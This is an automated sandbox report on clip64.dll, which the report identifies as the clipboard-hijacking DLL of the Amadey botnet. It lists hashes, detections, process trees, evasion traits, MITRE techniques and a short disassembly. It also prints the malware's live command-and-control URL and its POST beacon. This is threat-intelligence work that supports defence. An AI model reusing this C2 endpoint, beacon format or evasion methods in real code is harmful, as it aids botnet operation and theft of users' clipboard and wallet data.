Edit tour

Windows Analysis Report
clip64.dll

Overview

General Information

Sample name:	clip64.dll
Analysis ID:	1579622
MD5:	7fe5b933ed9391ea24647479c80e904e
SHA1:	963721e46b8056e2e883c598e95d7daa7bdf8d9b
SHA256:	2e12355cb9b11c923dc06f195399d678bc46680e982856d9405f64e7563fe8b3
Tags:	Amadeydlluser-abuse_ch
Infos:

Detection

Amadey

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

C2 URLs / IPs found in malware configuration

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7424 cmdline: loaddll32.exe "C:\Users\user\Desktop\clip64.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7476 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 7500 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7484 cmdline: rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7596 cmdline: rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@ABV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7612 cmdline: rundll32.exe C:\Users\user\Desktop\clip64.dll,Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7728 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@$$QAV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7736 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@ABV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7748 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",Main MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "212.193.31.8/3ofn3jf3e2ljk2/index.php", "Version": "5.12"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.rundll32.exe.6eb00000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
11.2.rundll32.exe.6eb00000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M7

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:46:41.952354+0100	2856151	1	A Network Trojan was detected	192.168.2.9	49731	212.193.31.8	80	TCP
2024-12-23T06:46:44.592932+0100	2856151	1	A Network Trojan was detected	192.168.2.9	49738	212.193.31.8	80	TCP

Code function: 7_2_6EB01EC0 std::_Xinvalid_argument,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

7_2_6EB01EC0

Source: unknown

HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1

Source: rundll32.exe, 00000007.00000002.3219366641.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3219366641.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3219410372.0000000003297000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3219410372.0000000003260000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3219410372.000000000324A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php
Source: rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php(
Source: rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpF
Source: rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpV
Source: rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpy

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6EB031B0 OpenClipboard,GetClipboardData,GlobalLock,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,CloseClipboard,

7_2_6EB031B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6EB031B0 OpenClipboard,GetClipboardData,GlobalLock,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,CloseClipboard,

7_2_6EB031B0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EB031B0		7_2_6EB031B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EB11AB1		7_2_6EB11AB1

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EB05D90 appears 103 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EB073B0 appears 34 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EB06B05 appears 47 times

Source: clip64.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: classification engine

Classification label: mal84.troj.spyw.evad.winDLL@18/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03

Source: clip64.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z

Source: clip64.dll	Virustotal: Detection: 69%
Source: clip64.dll	ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\clip64.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@ABV0@@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,Main
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@$$QAV0@@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@ABV0@@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",Main
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@ABV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,Main	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@$$QAV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@ABV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: clip64.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: clip64.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe TID: 7616	Thread sleep count: 149 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7616	Thread sleep time: -149000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7752	Thread sleep count: 145 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7752	Thread sleep time: -145000s >= -30000s	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6EB0BCEE FindFirstFileExW,

7_2_6EB0BCEE

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 00000007.00000002.3219366641.0000000003029000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3219366641.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3219410372.00000000032AB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3219410372.0000000003260000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000007.00000002.3219366641.0000000003029000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZq;

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6EB07288 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_6EB07288

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EB0A254 mov eax, dword ptr fs:[00000030h]		7_2_6EB0A254
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EB0B881 mov eax, dword ptr fs:[00000030h]		7_2_6EB0B881

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6EB0D218 GetProcessHeap,

7_2_6EB0D218

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EB07288 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6EB07288
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EB06B1A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_6EB06B1A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_6EB09820 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6EB09820

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 212.193.31.8 80

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6EB070A7 cpuid

7_2_6EB070A7

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_6EB073F8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

7_2_6EB073F8

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: clip64.dll, type: SAMPLE
Source: Yara match	File source: 7.2.rundll32.exe.6eb00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.6eb00000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	2 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
clip64.dll	69%	Virustotal		Browse
clip64.dll	68%	ReversingLabs	Win32.Trojan.Amadey

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://212.193.31.8/3ofn3jf3e2ljk2/index.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://212.193.31.8/3ofn3jf3e2ljk2/index.phpy	rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://212.193.31.8/3ofn3jf3e2ljk2/index.php(	rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://212.193.31.8/3ofn3jf3e2ljk2/index.phpF	rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://212.193.31.8/3ofn3jf3e2ljk2/index.phpV	rundll32.exe, 00000007.00000002.3219366641.0000000003018000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
212.193.31.8	unknown	Russian Federation		57844	SPD-NETTR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579622
Start date and time:	2024-12-23 06:45:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	clip64.dll
Detection:	MAL
Classification:	mal84.troj.spyw.evad.winDLL@18/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 9 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.193.31.8	cred64.dll.dll	Get hash	malicious	Amadey	Browse	212.193.31.8/3ofn3jf3e2ljk2/index.php?wal=1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	212.193.31.8/3ofn3jf3e2ljk2/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	212.193.31.8/3ofn3jf3e2ljk2/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	212.193.31.8/3ofn3jf3e2ljk2/index.php
	6X4odkIkyK.exe	Get hash	malicious	Amadey	Browse	212.193.31.8/3ofn3jf3e2ljk2/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	https://staging.effimate.toyo.ai-powered-services.com/	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=Ne7lLAcjQUaMUQJ9C8JRxUnNOxFiqmxEvtl5lDv69HJUMDcyQThVMFBaMzdYWTM3RDY1SVZJUUVaSC4u	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	Get hash	malicious	Unknown	Browse	13.107.246.63
	1734732185f25c13093a41a2402fb93b0e0049d55263e81e9d0e56f9c3736f6444c26eed34495.dat-decoded.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	2QaN4hOyJs.exe	Get hash	malicious	XWorm	Browse	13.107.246.63
	WwVs3PavPg.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	Tsy9P2T9yF.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	gTU8ed4669.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	zSmMqGGeVy.exe	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPD-NETTR	cred64.dll.dll	Get hash	malicious	Amadey	Browse	212.193.31.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	212.193.31.8
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	212.193.31.8
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	212.193.31.8
	6X4odkIkyK.exe	Get hash	malicious	Amadey	Browse	212.193.31.8
	mips.elf	Get hash	malicious	Mirai	Browse	185.72.8.231
	ppc.elf	Get hash	malicious	Mirai	Browse	185.72.8.231
	nshkmpsl.elf	Get hash	malicious	Mirai	Browse	185.72.8.231
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	2.58.124.230

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.358923113331074
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	clip64.dll
File size:	126'976 bytes
MD5:	7fe5b933ed9391ea24647479c80e904e
SHA1:	963721e46b8056e2e883c598e95d7daa7bdf8d9b
SHA256:	2e12355cb9b11c923dc06f195399d678bc46680e982856d9405f64e7563fe8b3
SHA512:	82d92d0c5155fff5ce97099cb9e78422ff328e0c516fbab7634e624215366c2191ec6ff6fe8d939268275c6770accb208af7ac69c3cc13c9188a49ef41339bb0
SSDEEP:	3072:wdkSZXB8ZuzQT7SgmEE8An/Y4Z3SNq6ZidU1ep/:LoGymSgjE8A3Z3yodUwp/
TLSH:	6BC34B213496C031DA5D567E18A8ABF487BD6914DFB00DE777840E3B8E642C2EE34D7A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P............................................................................@.......@.......@.~.....@.......Rich...........

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x10007062
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x676432FA [Thu Dec 19 14:51:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	fdb088ba51afbf555d7a0f495212d8f1

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F81092F7317h
call 00007F81092F76EAh
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F81092F71C3h
add esp, 0Ch
pop ebp
retn 000Ch
jmp 00007F81092FB032h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F81092F68C5h
push 1001C6E0h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F81092F7D7Dh
int3
push ebp
mov ebp, esp
and dword ptr [1001F708h], 00000000h
sub esp, 24h
or dword ptr [1001E00Ch], 01h
push 0000000Ah
call dword ptr [10016050h]
test eax, eax
je 00007F81092F74BFh
and dword ptr [ebp-10h], 00000000h
xor eax, eax
